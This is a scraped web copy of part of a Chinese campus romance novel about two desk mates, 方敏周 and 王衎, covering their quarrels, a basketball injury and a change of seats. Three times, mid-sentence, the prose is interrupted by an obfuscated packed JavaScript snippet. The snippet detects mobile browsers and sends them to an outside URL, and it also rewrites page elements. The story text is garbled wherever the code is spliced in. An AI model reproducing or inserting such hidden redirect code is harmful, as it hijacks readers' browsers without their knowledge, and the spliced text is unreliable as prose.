她妈管她的衣食住行,盯她的成绩,最不喜欢她因为粗心之类非智力性因素丢分;她爸则喜欢输出大道理,并言传身教,说“身体是革命的本钱”啦,抽空就带她爬山跑步,说“读万卷书行万里路“,让她跟着他一起看报纸、看新闻联播——方敏周也养成了这个习惯,上高中后有晚自习看不了新闻联播,但班级订得报纸她一般都会翻开看看。 但后来她更喜欢报刊亭的各种杂志,不过那是不能被爸爸知道的后话。 现在他们倒是不怎么管她了,她爸开始说她长大了,“都多大了还要家长管不完蛋了?不过你要有什么事情,要跟爸妈说”,她妈则开始热衷于给她食补。 方敏周后来怀疑是他们想管也管不了了,毕竟高中的题目他们不会,她又几乎都待在学校里,也是在认识到这点后,方敏周偶尔会有点无所适从。 回到家,方敏周一边吃夜宵,一边留意爸妈的反应。 出差一周刚回来的爸爸在看完她的开学考成绩单后,偷偷和妈妈对了眼神,然后轻咳一声,收起嘴角的笑,郑重地把成绩单折好递还给她,又说官话:“不错,这是一个很好的开头,继续加油,争取更大的进步。” 方敏周的确长大了,开始明白大人的心思。 她爸方良平是当地企业的一个小领导,她妈赵宁英在街道处做事,身边朋友的的孩子基本都是站在同一起跑线上的同龄人,彼此之间既有攀比炫耀又有育儿交流,估计是听说高中的孩子怎么怎么样,对她也多了份小心翼翼。 方敏周答应着。 “下次考试什么时候?”方良平问。 “下个月吧,还早。” “考试没有什么早不早……” 方敏周屏住一口气,知道又说错话了,但反驳只会让她爸有更多发挥的由头,所以只能耐性听他唠叨:“你觉得早,其他同学可能已经开始准备了,你要是觉得说再等等,很快……” 头顶的灯忽然闪了下,三个人一齐抬头看去,赵宁英抱怨道:“我早就说灯坏了灯坏了,让你看看什么问题。” 他们住的这套房子多少有些房龄了,再爱护也但抵不住自然老化。方敏周知道爸妈一直盘算着换套新房,但因为这儿离她学校比较近,所以计划一直搁置着。 “好好好,知道了,等会看看。”方良平说,但不忘继续教育方敏周,“龟兔赛跑,我一直和你说的……” 方敏周无法不敷衍,看向妈妈,后者也无奈又好笑地摇头。 周一方敏周到学校的时候还比较早,但看到旁边的空位,她还是忍不住烦躁地想,等会又要起来让位子。 她犹有余怒,又觉得犯不着和这种人见识,但周末见不到人还好,一回学校,免不了郁闷。 她坐在位置上背英语单词时,她的同有同学过来和她说有人找,方敏周往后门一看,看到向她招手的元月。 “怎么了?”方敏周走过去。 元月递给她一个塑料手拎袋,里头是面包和两瓶牛奶。 “……这么多?”方敏周有点疑惑,“我吃过早饭了。” “可以饿了的时候再吃。”元月说,然后低了声音,难为情道,“就是上周五那事……我还是挺不好意思的,这家面包很好吃,所以多买了几个!你可以和……大家一起分一下。” 方敏周沉默。 元月着急摆手解释:“哦,你不用说是我买的,就直接分好啦。” 面对元月单纯可爱的脸上实打实的真诚,想到那天后来和王衎的争执,方敏周都感觉自己有点对不起她的好意,犹豫着怎么开口,余光看到楼梯口上来一个人,打着哈欠,吊儿郎当。 方敏周差点把手里的塑料袋藏到身后——还好没这么做,而王衎在看到她们后,微一打量,就好像知道了她俩在做什么地下交易一样,脸上露出让方敏周觉得很欠揍的奸诈得意的表情。 他从前门进到教室,元月小鹿一样的眼睛惴惴不安地看着方敏周。 “没事,放心吧。”方敏周还是这么说。 “嗯嗯。” 早自习铃声响了。 方敏周坐回到自己的位置上,王衎看她,她没回以眼神,把塑料袋放进抽屉里,开始学习。 早自习结束,她喊欧阳茜,拿了两个面包给她,示意其中一个给金柏浩。 “谢谢!”欧阳茜很开心,“正好今天起迟了还没来得及吃早饭。” “那你喝牛奶吗?” “喝!” 等欧阳茜转回身后,方敏周的眼睛平整地划向一直盯着自己的王衎。 王衎算浓眉大眼那种长相,因此他看人的目光总是很有存在感,方敏周不喜欢。 她不想浪费时间和王衎怄气,视线微偏,被他挡住的窗外阳光跃入方敏周眼中,于是她的眼里,阳光把王衎镶了一层毛茸茸、金灿灿的边,他变成了一只等待投食的猴子。 猴子此刻没有攻击性,方敏周从袋子里拿了一个面包递给他。 王衎低头看了看,不为所动。 方敏周白眼一翻,倒是听王衎说:“我不喜欢吃甜的。” 方敏周:“……” 她手上拿着一个铜锣烧。 “有没有原味的或者咸的?” 方敏周:“……” 她重新挑了一个肉松面包给王衎。 王衎继续说:“我也不喜欢吃肉松。” 方敏周:“……” 爱吃不吃。 她没好气地收回手前,王衎说着“算了”,把面包拿了过去。 拆开包装袋,几下就吃完了。 虽然吃相并不难看,可如此风卷残云,还是把方敏周看呆了,默不作声离他更远了一点,但见他鼓囊着腮帮子找水喝结果杯子里没水,不禁怕他咳她身上,把另一瓶牛奶放到他桌上。 王衎看看牛奶、看看方敏周,他本以为方敏周是在向他示好,也敞开心胸给她台阶下,但她的表情,怎么看,都觉得好像不是这么个事儿。 但他没细想,喝了口牛奶,把心底那股古怪劲儿压下去,想要说些什么,上课铃响了,方敏周另外放了两个面包到后排趴着补眠的郑彦航和吴丞桌上,就从抽屉里取出语文课本。 一个冷漠的侧脸,显然是勿扰模式。 王衎噎住,又喝了口牛奶,把想说的话咽下去。 接下来一整天下来,也是奇了怪了,没再说上一句话,方敏周完全没有要理他的意思,上下课都是一张侧脸,而他只要下课的时候稍微一动,方敏周就会像打草被惊到的蛇,立刻站起来给他让座。 有时候王衎并没有打算要出去,但方敏周这样,他便不得不出去,在外头晃悠到上课再回来。 傍晚他去篮球场的路上,途径小卖部,看到在门口等人的方敏周,四目相对,其实勉强能算一个打招呼的契机,但方敏周平淡地把脸转过去,王衎的声音憋在喉腔,化为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270953|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一声闷咳。 “诶,你和你同桌到底怎么回事,你哪里惹她了?”一旁的郑彦航奇怪地问。 “我哪里敢惹她?” “那她为什么……还有上次晚自习的时候,”郑彦航说,“我感觉我都要被你连累了。” 王衎:? 他回过味来,郑彦航替方敏周打抱不平什么呢? “我这不是团结友爱同班同学嘛,”郑彦航杵了杵旁边的吴丞,“而且方敏周挺好的啊,早上还给面包吃。” 吴丞硬被他们拉来凑人数,此时电池殆尽,反应了了。 王衎把手里的篮球砸到郑彦航怀里,“一个面包就把你收买了,你拿我饭卡刷了多少东西?” 郑彦航夸张地哀叫一声,“说不定以后有什么问题要问人家呢?男子汉大丈夫,我劝你好好反省下自己,别惹我们学霸不高兴。” “你考得还没我高呢,瞎操这份心。” “那是我开学考英语考砸了!我最近可是好好背单词了,晚上英语小考你等着。” ——白纸铅字摊在桌前,王衎靠向椅背上,椅子翘起,往后一瞥,郑彦航在借吴丞的卷子抄,他放心一笑,但还没得意多久,手里转着的笔转飞了,掉到了方敏周的椅子底下。 王衎:“……” 收获方敏周冷冷一记。 王衎有气,但这气又发不出来。他其实是讲理的,是他做错了的事情他也认。 他讪讪弯腰捡笔,椅子下方敏周的腿往旁边挪,王衎意外发现她穿了一双一点儿不符合她高冷形象的袜子:淡粉色的、有白色蝴蝶结图案,宽松的校服裤管和袜子之间露出一小截凝白的皮肤。 他捡笔的时间太长,久到方敏周心底起疑,刚要去看他在搞什么名堂,王衎直起了身。 一个低头、一个抬头,猝不及防两个人靠得极近,但立刻分了开,都重新面向自己桌面上的卷子,好像刚才几乎鼻尖擦着鼻尖而过的距离只是错觉。 白纸上的铅字单词没有即可入脑,方敏周有点后悔,她管王衎要干什么呢? 王衎的脑海里“没想到方敏周还挺白”的念头却如一缕烟似的悠悠生起,又悠悠散去,然后才后知后觉地发现笔摔断墨了。 他就两支笔,一只黑的、一只红的,他脑筋一转,理所应当地向方敏周借笔了。 这是一个验证对方友好指数的试探。 方敏周心中尚有因王衎而起的羞恼,但如果不借他似乎更欲盖弥彰。晚自习小测不严,时间也绝对足够,这让差不多已经写完试卷的方敏周没有追究他“破坏考场纪律”,从笔袋里拿了一只黑笔给他。 王衎写了两下,退回来:“断的。” 方敏周不相信,她拿回来自己在草稿本上试了下,竟然真的写不出字了,她只好又拿了一支笔给王衎,结果这次这只虽然能写,但也是断断续续。 怎么会?方敏周很奇怪。 就像战士要有趁手的武器,她对文具是蛮讲究的,笔袋里的笔不多,但都是她用惯且觉得好用的,不应该出现这样的情况,而且怎么就在要借给王衎的时候出差错? 她干脆把自己手里的这支给了他,这下总不能还写不出字了吧! 王衎:“……” 方敏周一句话没说,但他觉得……她怎么好像又生气了? 手里的笔隐约还有残留的体温,就像她隐约的怒气,好在这只笔出水流畅。 他说了声谢谢,方敏周没有回应,而是把笔袋里的笔一一扒拉出来试写,刚才断墨的那两只,被她扔进了她挂在课桌边用来作垃圾袋的塑料袋里。 还好,剩下的两只都是好的。 不巧,坏的两只都碰上了他。 5. 第 5 章 王衎猜方敏周生气是因为笔坏了——虽然他无法理解这个原因,且认为这与他无关,但他还是在第二天买了两只黑笔送她。 方敏周不要,这令王衎觉得她有点不知好歹,但谁让他上赶着,王衎觉得也是他自己活该。 他多少有点摸清了方敏周的性格。 相比一些眼高于顶或者呆头呆脑的尖子生,方敏周看似宠辱不惊,实际上极有自尊心和秩序感,无论事情大小,只要让她感觉不解、不安、不服,她就会炸毛,像只被踩到了尾巴的猫。 比如昨天上午最后一节课是自习课,方敏周突然开始打嗝。 打嗝,多正常的事情,但她大概是觉得很糗,便不停地喝水,水都喝完了,嗝还是没有止住,想接水又顾虑是在上课,脸越来越红。 王衎本来是看热闹,后来看她一副几乎羞愤欲死的样子,便打算帮她一把,在她像是又快要打嗝的前一秒,快准狠地踢了下她的椅子。 方敏周被吓到,嗝果然止住了,王衎以为她能明白自己的好意,朝她扬扬下巴,意思是不用谢,却又被她瞪了一眼。 好心没好报,王衎真想叫方敏周讲点道理,但见她那样,心一软,便没同她计较,虽然她看起来很想挠他。 王衎还发现他额外能惹方敏周生气,方敏周也老是对他皱眉头。 后来他总结经验: 第一不能打扰她,特别是在她学习的时候; 第二不能让她觉得丢脸,如果她正在丢脸,就当作没看见,而不要自以为是地好心帮忙; 第三有待补充。 如此小心做人,基本能够避开方敏周的雷区,故意去问她试卷上的错题,她看他一眼,也会教,态度一改急躁,甚至算得上不错。 “哦,所以接下来就在这里画条辅助线是吧?”王衎拿着笔在试卷上虚划一道。 方敏周点头,王衎比她想象中的聪明一些。 “你这什么眼神?”王衎边拿回自己的卷子边问,“没见过分数这么低的数学卷子?” 方敏周不知道王衎这是在自嘲还是嘲讽她,亦或是开玩笑,他总是不好好说话。 “嗯。”她冷淡地给予回敬。 王衎:“……” 有时候王衎觉得自己也是贱得慌,他开始琢磨什么时候有机会可以和詹师太申请换位子,坐方学霸旁边跟坐牢似的,她是方的,他是圆的,注定没有规矩,他宁可坐讲台旁边去。 欧阳茜打完水回来,看到方敏周给王衎讲题,莫名倍感欣慰,但转眼,两个人又吵架了。 甚至不止吵架。 据先回来上晚自习的郑彦航和吴丞所述,是他们打完篮球回班级的路上打闹,一不小心球飞了,好死不死还砸到了人,但按当时的情况来说,篮球是不是从王衎手中脱手的也不一定,“然后王衎送方敏周去校医室了……” “这么严重?!”欧阳茜惊呼。 “砸到肩膀了,不过……应该……还好……”郑彦航说得心虚,“方敏周不想去来着,但王衎拉着她去……” “然后两个人就吵起来了。”吴丞接道。 欧阳茜:“这还能吵起来?” 郑彦航呲牙咧嘴地尴尬复述当时的情况: 方敏周要回教室晚自习,王衎说她读书读傻了,万一后面有什么事情不要找他负责,方敏周说谁要找他负责,结果王衎还是不放人走,“其实是需要去医务室看下,是吧?” 欧阳茜:“……” 校医室,沉木办公桌后的蓝色布帘一字拉开,王衎心不在焉地一边测视力玩一边听帘子后的交谈声。 “这么按痛吗?”校医问。 没声。 “这里呢?” 还是没声。 过了会,校医说:“没伤到骨头,应该没什么事,就是肩膀这两天会有点淤青,疼的话拿喷剂喷下。” “不是很疼,还好。” “那冰袋呢?我给你拿个冰袋冰敷一下?” “也先不用了吧,谢谢老师。” “行,看起来没什么大问题,过两天就好了。”校医说,“把衣服拉上吧。” “好。” 王衎没想到还会有后面这句话,随着帘后窸窸窣窣的声音,他低头蹭了蹭脚尖,脸跟着蹿热,耳朵也痒痒的。 终于等到帘子被拉开,方敏周看到他后,面色僵硬地别开视线,王衎自己也有点不好说的局促,他明知故问地问校医:“老师,没事吧?” 校医没好气,“没事,但不是我说你们这些男生,毛毛躁躁的,打个球都砸到别人身上,还好这次只是肩膀,还没太伤到,那下次砸到脸呢?脑袋呢?怎么办?” 王衎点头哈腰,“我以后一定注意,”顿了顿,觑方敏周一眼,“老师,那你看要不给她个请假条让她早点回家休息吧。” 方敏周眉头一拧。 “你要请假吗?”校医问她。 “我不用老师。” “要吧?”王衎说。 “我说不用。”方敏周语气加重。 “你们两个是同班同学是吧?” 方敏周和王衎互相看了看对方,方敏周不想和王衎扯上关系,而王衎看出方敏周这层意思,反而更要宣告天下:“是啊,我们是同桌。” 方敏周:“……” “你确定没关系哦?”校医再次问方敏周。 方敏周点头。 “行,如果不请假就都回去上晚自习吧。”校医最后对王衎说,“好好跟你同桌学习一下。” 学习什么?王衎不懂校医的意味深长,学习肩膀受伤还手不释卷的精神? 方敏周和王衎先后走出医务室,这会儿第一节晚自习已经开始有段时间了,校医室在行政楼的一楼,从行政楼到教学楼群要经过一条沿湖的主干道。 路灯映着湖、掩着树,整个校园只有远处的教学楼灯火通明。 宽敞的道路上就他们两个人,凉风习习,方敏周觉得她身后的王衎融入了变成黑色切片的植物里,像一条悄无声息跟着她的影子。 想到刚才她在帘内拉下衣服做检查而他就在帘外,方敏周有些不自在地加快了脚步。 “喂。”身后王衎喊。 方敏周脚步不停。 王衎跟上来,同她并肩而行,“突然走这么快干嘛——你就这么热爱学习啊?” 方敏周往旁边跨了一步。 王衎没继续贴上来,“其实没必要这么刻苦吧,正好有机会早点回家,虽然是左边的肩膀。“ 方敏周没理他。 眼看着就要到教学楼了,不知道她到底在想什么,跟投篮一直投不准一样,王衎着实有点头疼,想着先道歉好了,“……对不起啊,我不是故意的。” 方敏周烦了:“你已经道过歉了。” “我知道,但你不是没原谅我吗?” 方敏周脚步停了停,站在高两个阶梯的楼梯上,难以置信地望着王衎。 本来很坦然的王衎对上方敏周居高临下骂人的眼神,到底目光躲闪得挠了挠脸,“我真不是故意的,要不……我让你砸回来?” 方敏周:“……” 看王衎的表情,他好像是认真的,方敏周疑惑他脑子里装得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270954|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都是什么。 不好好学习、就知道玩,性格幼稚、行为冲动……她其实没有很生气他砸到她,因为知道他是不小心的,但王衎连道歉都不能正经一点,不三不四的,反而更令人恼火。 她默然转身上楼,得不到方敏周回应的王衎有些无奈,跟上她,“同桌,我早就想问你了,我是不是哪里惹到你了?” 这话听在方敏周耳朵里又是懒洋洋、半死不活的强调,她冷硬地说:“没有。” “明明就有。” 方敏周不再回应。 自习期间的走廊异常安静的,两个人一前一后走过其他班级的窗前,回到自己班级门口,方敏周朝王衎扬扬下巴。王衎会意,先进了班级,坐下后,才后知后觉地觉得自己好像某种被赶进圈内的动物。 他们刚一回来,前后排三个人——除去专心学习的金柏浩,就都蠢蠢欲动了,下课铃一响,忙不迭有话要说,但问方敏周没事吧,方敏周回没事后,又纷纷卡壳,于是矛头都对准了王衎。 欧阳茜:“你怎么回事啊?” 郑彦航:“就是。” 吴丞:“就是。” 王衎:“……” 方敏周看了看大家,“真没事。” 金柏浩拿着数学作业本回头找方敏周校对答案,说完发现几个人都盯着他,疑惑:“怎么了?” 只有方敏周回他:“数学我还没写。” “好的,那你写完叫我。” “嗯。” 欧阳茜也是服了金柏浩。 王衎不服。 为什么感觉方敏周对谁态度都比对他好?他究竟是干了什么伤天害理的事情? 郑彦航和吴丞撞了撞对方胳膊,再向方敏周道了歉后,示意王衎出来,没想到被王衎意兴阑珊地拒绝了。方敏周也不由得扫了他一眼,见他趴在桌子上,脑袋埋在胳膊里,头发翘起来了几根。 方敏周有些讶异,这看起来似乎是因为她的缘故,但是她怎么了?受伤的可是她诶。 王衎就这么趴完了第二节自习课,后来方敏周发现他是睡着了,最后一节自习课醒来,借了吴丞的作业狂抄。 方敏周看在眼里,默默告诫自己以后不准多想。 又一天的晚自习结束,今天作业不多,方敏周提前完成了作业,下课铃响起,她先站起来给王衎让出位子,王衎却不像以往一样急哄哄地投胎,而是递给她一件东西。 整理东西方敏周抬起眼皮,见是一罐医用喷雾,“不用。” “你不是嫌弃我用过吧?” 方敏周皱眉,“我家里有。” “……哦。” 王衎把喷雾放回抽屉,但还是没走,还让门口催他的郑彦航和吴丞不用等他,欧阳茜看了看这两人:“……敏周,我先走啦。” 方敏周:“拜拜,明天见。” 她住得比较近,不着急收拾书包,这次又特意放慢了些,渐渐的,教室里只剩下了几个住校生,而书包总归是要收拾好的,当方敏周拉上拉链时,王衎向她第二次伸出手,“给我吧,我帮你拿。” 他掌心朝上,空无一物,于是方敏周终于明白了王衎的意图,视线顺着他的手臂一路向上,停在他还带着一丝别扭的脸上。 难为他还能想到这点,方敏周右肩单肩背上书包,还是“不用”两个字,语气稍微放平了一些,毕竟上了一天的课,她也没剩多少精力还能同王衎置气了。 目送方敏周离开,郑彦航和吴丞看向慢腾腾从教室里走出来的王衎,“你到底哪里惹我们方姐了?” 王衎:“……我真不知道。” 6. 第 6 章 和方敏周坐同桌的日子对王衎来说越来越煎熬。 不说他人见人爱吧,但从小到大,他的人缘其实不错,从来没有被人这么明目张胆的讨厌过——很难受的滋味,而且还要和这个人一周五天、从早到晚坐在一起,彼此之间半米的距离都没有。 更可怕的是,王衎发现自己并不讨厌方敏周,至少没有方敏周那么讨厌自己。 也许有他为篮球伤到她而心生愧疚的原因,不过王衎偷偷观察方敏周抬手动腿,似乎没受到影响。 基于种种考量,他变成了更主动试图修缮两人关系的那个人。 他给方敏周带早餐,被拒;体育课给方敏周买饮料,被拒;强行插入方敏周和欧阳茜的聊天,造成聊天提前结束;找方敏周问问题,这个倒是能说上几句话,但问多了,不利于他的形象,而且还有个金柏浩和他抢,方敏周似乎也更愿意同金柏浩讨论题目。 努力了几天,不仅毫无帮助,还火上添油,因为方敏周忍无可忍地问他:“你到底要干嘛?” 王衎很无辜:“我没干嘛啊。” 周四上午的语文课连上两节,这周老师让他们一节半的时间当场写作文,写完同桌互相批改然后上交。 作文题目介绍了法国哲学家萨特的生平,要求简单谈谈对“他人即地狱”这句话的理解,作文纸发下来,哀声遍野。 即使老师简单分析了题目,但王衎依旧完全没思路。 他咬着笔杆子,有了上半句没有下半句地写着,本以为方敏周会不愿意和他交换作文,但方敏周写完了之后就在旁等着他,以至于明明还有点时间的王衎顿时有了压力,最后结尾字写得飞起。 方敏周看出他在急,但不知道他在急什么,想让王衎慢慢写吧,犹豫了会,还是没吭声。 而当王衎拿到方敏周的作文后,看了个开头,他就想把自己的作文拿回来了,他虽然不会写,看还是会看的。 方敏周写愚公,写西西弗,王衎知道愚公,不知道西西弗——好像也听过,愚公是搬石头的,这个是推石头的。 他看着看着,醍醐灌顶,才想明白原来这作文题目是这个意思,他好像写偏了? 王衎看一段就忍不住看方敏周一眼,什么“正确对待他人的目光,认真聆听自己内心的声音”,写得头头是道,本人似乎没这么理性。 一边被王衎频频打量,一边看着他前言不搭后语的文字,一边还要被他审视自己的作文……方敏周用眼神警告王衎,后者若无其事地收回目光,指尖转着笔,看着她的作文煞有介事地点着头。 方敏周:“……” 她稳定好情绪,60分的作文,给王衎打了40分。 先不说他有没有认真写,他车轱辘地写要与人为善,完全就是跑题了,给他打38分都不冤,但那实在太低,鉴于评语老师还会看到,方敏周写得也委婉了许多:文章观点较为明确,围绕“善”展开论证,但整体与作文题目涵义略有些不符,且论据不够充分。 作文纸交换回来,方敏周没想到王衎居然给她打了55分,评语更是乱用成语地一顿猛夸,最后还画了一个大拇指,疑似捧杀——但就算是捧杀,对比下自己给他打的分数…… 王衎看起来并没有生气或者失落,反而邀功一般地对她说:“怎么样,我给你打的分数够高吧?” 方敏周心想,他就不能少说两句话吗? 她都有点不好意思把作文交上去。 下了课吃过午饭,午休时间方敏周一般都是在教室里自习休息,今天中午她则去了图书馆。 图书馆里的书新旧不一,经年累月的纸墨有一种特殊的气息,其实并不是好闻的味道,像雨后的草地,有腥气,但也有生命力。 思绪回笼时,方敏周有些惊讶地发现自己是还在想早上的那篇作文。55分,这是她上高中以来得到的作文最高分,虽然出自一位毫无权威性的打分人。 愚公移山和西西弗的故事这样用滥了的作文素材,大概也只有王衎会觉得她写得很好。 高中的议论文本身就有很多套路,要说论点论据,一般也没有谁的观点多突出,理科生本来文笔什么的也会差一点——方敏周以前是真的信过这种说法,后来才发现并不是这样的。 正因为太多人千篇一律,所以谁文采好、谁积累多、谁立意新,反而更加明显,比如这次开学考的年级范文里,就不乏理科班的同学,而且人家综合排名也很高,她班上就有一个,这次月考的班一,孙彤。 方敏周每科成绩很平均,和她同一分数区间的同学之间理综相差不大,拉开差距的是主科三门,其中语文主观性最强,方敏周没有优势,其实也讨厌写语文卷子,而对那些明显具有写作天赋的同学,她有些羡慕。 也许因为她本身挺喜欢看书的,而现在因为要积累作文素材,她会着重去看有用处的文学经典和名人传记,这种有意识地选择让她觉得自己偏离了读书最初的意义,一度让她心生惭愧。 方敏周觉得自己变得很功利,功利的同时却很迷茫。 元月像是看童话书长大的小孩,或者说,她就是童话书里的小孩,真善美以及梦想希望这些词语在她眼里是闪光的钻石珍珠。 虽然她自己还不知道未来要做什么,但别人知道,她就很为对方高兴;虽然方敏周也不知道,但元月就觉得,有一天她也会拥有宝藏,方敏周本人却没有这种自信。 有的人家财万贯仍不满足,有的人破碗一只也快乐,她会是哪个呢?方敏周不知道。 初中她以一中为目标,因为这是樟城最好的高中,但最好的高中集聚了最好的生源,真的进入一中后,方敏周就觉得自己太普通了。人外有人,天外有天,长大的瞬间就像人类提出日心说一样,发现世界不是围绕着自己转。 方敏周明白她不应该庸人自扰般地想太多,但可能正是因为庸人才会自扰,学习的意义、自我的价值、未来的生活……像小径上横生的树杈或者小石子,总会绊着她。 科学说人体由百分之六十到七十的水分构成,方敏周觉得她的身体里流淌着同样比例的困惑和疑虑。大多数时候它们静静的,但有时她就突然发了烧似的陷入思考。 以前不是这样的,真奇怪,好像身体发育那样难受,因为过于隐秘混乱无法倾诉,而又隐隐地新奇地自我观赏。 其他人也会这样吗?方敏周想起之前在图书馆看到过孙彤,但因为太不熟,她没有主动上去打招呼。 学校图书馆已经接入了电子借书的系统,但有些旧书封底还贴有借书卡。方敏周看着上面陌生的名字和久远的日期,会不禁猜想这些学长学姐们现在都在做什么,五年后、十年后的她又会怎么样。 想得多了,方敏周心里的温度又降了下来,这会儿,她就觉得刚才的胡思乱想很矫情了。有这个功夫不如多看几页书、多刷几道题。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16270955|182294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 语文老师在课上推荐了几本入门哲学的书籍,现在方敏周的面前的书架上并排了两本《苏菲的世界》,都是绿色的封皮,老版本的绿色更深,封皮剥落,新版本的大约还有八五新。这本书她初中的时候翻过几页,但没有看下去。 方敏周选了旧版本,走到前台,先借了书,再问老师要了透明胶带纸和剪刀,在一旁把可怜兮兮的书皮勉强拼凑沾好,耳旁突然冷不丁地冒出一个声音:“你借了什么?” 方敏周一抖,看清是谁后,立刻走出了图书馆。 王衎追上来,“《苏菲的世界》……诶,这不是早上语文课老师推荐的吗?” 一中的图书馆是一栋独立的两层建筑,一楼是阅览室和自习室,二楼是借书室,方敏周脚下生风,快步走下楼梯,径直穿过图书馆门前的圆形小广场。 “你又走这么快。”身后王衎说个不停,“哇,方敏周,你真的太认真了吧,老师刚推荐完的书你就立马来借,怪不得……” 后头的话王衎没能说下去,因为方敏周骤然停下脚步,王衎差点一头撞上去。 方敏周本来调理好了的情绪一下子翻盘了,“我就是来借了,不行吗?” “我没说不行啊……” “你不是也来了吗?” 她态度恶劣,王衎的语气也跟着不好起来:“你能来我不能来?图书馆你家开的?方敏周,你这个人真的很奇怪啊,我招你惹你了?” “我奇怪?”方敏周像是听到了天大笑话,“明明是你老是阴阳怪气的。” 王衎瞠目结舌地指了指自己,“我说什么了,我夸你学习认真还不行?” “你这是夸我学习认真?” “是啊,我说老师推荐的书你立马来借,怪不得作文写得这么好,怎么就阴阳怪气了?我也想来借本书陶冶一下我的情操不行啊?” 秋风卷落叶,方敏周噤声了,张牙舞爪的劲儿也收了起来。 半晌沉默,王衎知道这局是他赢了,但他也没有多开心,“你这是看我不顺眼,所以我说什么你也都觉得难听,那叫什么,‘爱屋及乌’的反义词是什么?” 意识到是自己误会了的方敏周有些理亏,但又低不下头,她抱紧了怀里的书本,紧抿着唇与王衎对峙。 秋天正午的太阳金灿灿的,王衎正对着太阳,被阳光照得直皱眉,“如果你是还在生气我不小心用篮球砸到你的话,下午体育课你砸回来吧。” 不砸回来他觉得这日子没法过了。 “……不用,我说了没关系。” “那你还看不惯我什么?给个痛快,我改还不行吗?” 方敏周看着王衎,一时无言。她想到她对他的种种意见,却不知道她也造成了王衎这么大的困扰?但她做什么了? 好一会儿,她说:“我想坐里面。” “什么?”王衎没有反应过来。 “……我想和你换个位置,我想坐里面。” “可以啊。”王衎幡然醒悟,“亏我还特意把外头的位置留给你。” “……你特意留给我?”方敏周声量微抬。 “对啊,坐外面不是更方便吗?不过我现在知道了,我老是进进出出你嫌烦了是吧,你早说啊,我又不是故意要麻烦你的,谁知道你每天下课都不带休息的……” 头一次知晓王衎居然还有如此巧思的方敏周认定,她和他的脑回路确实对不上盘。 7. 第 7 章 在方敏周的提醒下,王衎找到詹师太说了他们要调换座位的事,从办公室回来后,王衎转述:“詹师……咳,詹老师说下次这种小事不用找她特意汇报。” 方敏周平静地“哦”了一声。 于是王衎这才意识到方敏周的“用心险恶”,合着她考虑周到、评估风险,但让他冲锋陷阵,她心思也歪得狠呐? 不过他们两个位置调换得很正确,可谓皆大欢喜。 对方敏周来说,再也不用站起坐下地给王衎让位子,王衎则变成了一只自由的鸟,如果一些任课老师上课的时候不要在教室里走来走去就更好了;金柏浩觉得前后排更方便他和方敏周讨论题目,欧阳茜也觉得现在她找方敏周只用转身45度,比之前的90度省力。 王衎后来折返回图书馆借了另一本《苏菲的世界》,当天晚自习翻了几页后,就叠在桌角的书堆上,随着底下书本的抽出、新的试卷的叠加,方敏周眼见着那本书的水位越来越低,像一个不断下沉的小岛。 这本书方敏周还是有点看不进去,但她不愿同王衎看齐,定下目标每天抽时间看一点,生拉硬啃也要看完。 作文重新发下来,语文老师给她打了50分,给王衎打了38分。 王衎看见她的分数,很没有眼力见地说:“我扣的分比你少诶。” 方敏周横他,王衎耸耸肩,拉上嘴巴的拉链。 方敏周对这个分数其实还是挺满意的,已经很高了,而这次作文全班的最高分还是孙彤,56分。老师把她的作文当作例文分析,方敏周觉得她们两个想得似乎没有太大区别,但孙彤总结升华得更加犀利漂亮。 包括之前的数学小测发下来,方敏周94分,全班有两个满分,孙彤是其中的一个。 在学习一事上,方敏周很少关注别人,更多的是对自己的要求。 从小她爸教育她的就是:不要和别人比,要和自己比,让今天的自己比昨天的自己进步哪怕一点点,就是成功——她至今也是这么觉得的,她高一所在的班级前几名波动很大,她是最稳定的那个。 然而现在高二开学虽然也才一个月,但有些差距还是肉眼可见。 那节数学课上看着坐在第一排的孙彤的背影,羡慕和钦佩还有一些更复杂的情绪在心底蔓延,方敏周都悄悄地收在心里。 她记得孙彤是住校的,往往早上她到教室时,她已经在学习了,晚自习她离开教室时,她还是在学习。成绩比你好的人还比你努力,方敏周无话可说。 她把注意力集中回题目上时,注意到王衎若有所思地看着她,见她看来,装模作样地动了动脖子。 各自熟悉了新的班级后,方敏周和元月都有了新的朋友,就不怎么一起吃饭了,但这并不影响她们之间的感情,国庆放假前最后一顿中饭,两个人约好到一中后街吃面。 去的这家面店店龄听说和他们这些学生年龄差不多,店面不大,每天生意都很好。一中食堂不差,但比不过外头花样多,方敏周和元月都喜欢吃这家店的排骨面。 也就是在这顿饭,方敏周得知王衎还去“骚扰”过元月。 “他就是问我……”元月小心道,“知不知道你为什么看他不顺眼,我说我不知道……不过你们现在怎么样,应该没事了吧?” 